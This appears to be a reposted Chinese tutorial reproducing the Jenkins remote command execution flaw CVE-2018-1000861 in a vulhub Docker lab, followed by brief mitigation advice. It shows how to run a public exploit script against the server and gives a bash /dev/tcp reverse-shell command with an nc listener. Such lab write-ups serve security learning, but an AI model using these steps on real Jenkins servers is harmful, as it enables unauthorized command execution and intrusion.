這篇文章給大家分享的是有關Jenkins遠程命令執行漏洞的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
創新互聯堅持“要么做到,要么別承諾”的工作理念,服務領域包括:成都網站制作、網站建設、企業官網、英文網站、手機端網站、網站推廣等服務,滿足客戶于互聯網時代的久治網站設計、移動媒體設計的需求,幫助企業找到有效的互聯網解決方案。努力成為您成熟可靠的網絡建設合作伙伴!
Jenkins自動化部署可以解決集成、測試、部署等重復性的工作,工具集成的效率明顯高于人工操作;并且持續集成可以更早的獲取代碼變更的信息,從而更早的進入測試階段,更早的發現問題,這樣解決問題的成本就會顯著下降:持續集成縮短了從開發、集成、測試、部署各個環節的時間,從而也就縮短了中間出現的等待時間;持續集成也意味著開發、集成、測試、部署得以持續。
Jenkins使用Stapler框架開發,其允許用戶通過URL PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。通過這個漏洞,可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。
2.153 and earlier
LTS 2.138.3 and earlier
1. 本次實驗靶場使用vulhub中docker搭建,vulhub下載地址:
https://github.com/vulhub/vulhub
2. 然后在虛擬機中安裝docker,以及安裝docker-compose命令,安裝方法請自行百度
3. 下載完成后傳入安裝了虛擬機,然后進入相關漏洞目錄
cd vulhub-master/jenkins/CVE-2018-1000861/
4.使用docker-compose up -d運行漏洞環境
5. 環境啟動后,訪問http://your-ip:8080即可看到一個已經成功初始化的Jenkins
1. 使用一下命令查看目標的版本
curl -s -I http://your-ip:8080|grep X-Jenkins
2.由于此漏洞是沒有回顯的,這里使用GitHub上漏exp執行命令。注:也可使用burp抓包執行
exp下載地址:https://github.com/orangetw/awesome-jenkins-rce-2019
下載完成后使用python2執行檢查漏洞python2 exp.py http://your-ip:8080 “curl DNSlog ”
3.由于此漏洞沒有回顯,這里直接反彈shell //注:反彈shell需要base64加密
bash -i >& /dev/tcp/your-ip/port 0>&1
base64加密網址:http://www.jackson-t.ca/runtime-exec-payloads.html
3.1然后在nc上監聽shell的ip和端口,使用exp發送加密后的shell
小結
1. 本次漏洞復現需要使用到docker環境,需要會用docker基本命令
2. 需要使用到linux相關的命令,以及linux反彈shell的語法
1.升級到最新版本或打上相關補丁
2.盡量不要開放到公網上
3.限制IP訪問
感謝各位的閱讀!關于“Jenkins遠程命令執行漏洞的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
網頁標題:Jenkins遠程命令執行漏洞的示例分析
網站網址:http://m.kartarina.com/article20/ggiico.html
成都網站建設公司_創新互聯,為您提供動態網站、網站建設、關鍵詞優化、定制網站、品牌網站制作、微信公眾號
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯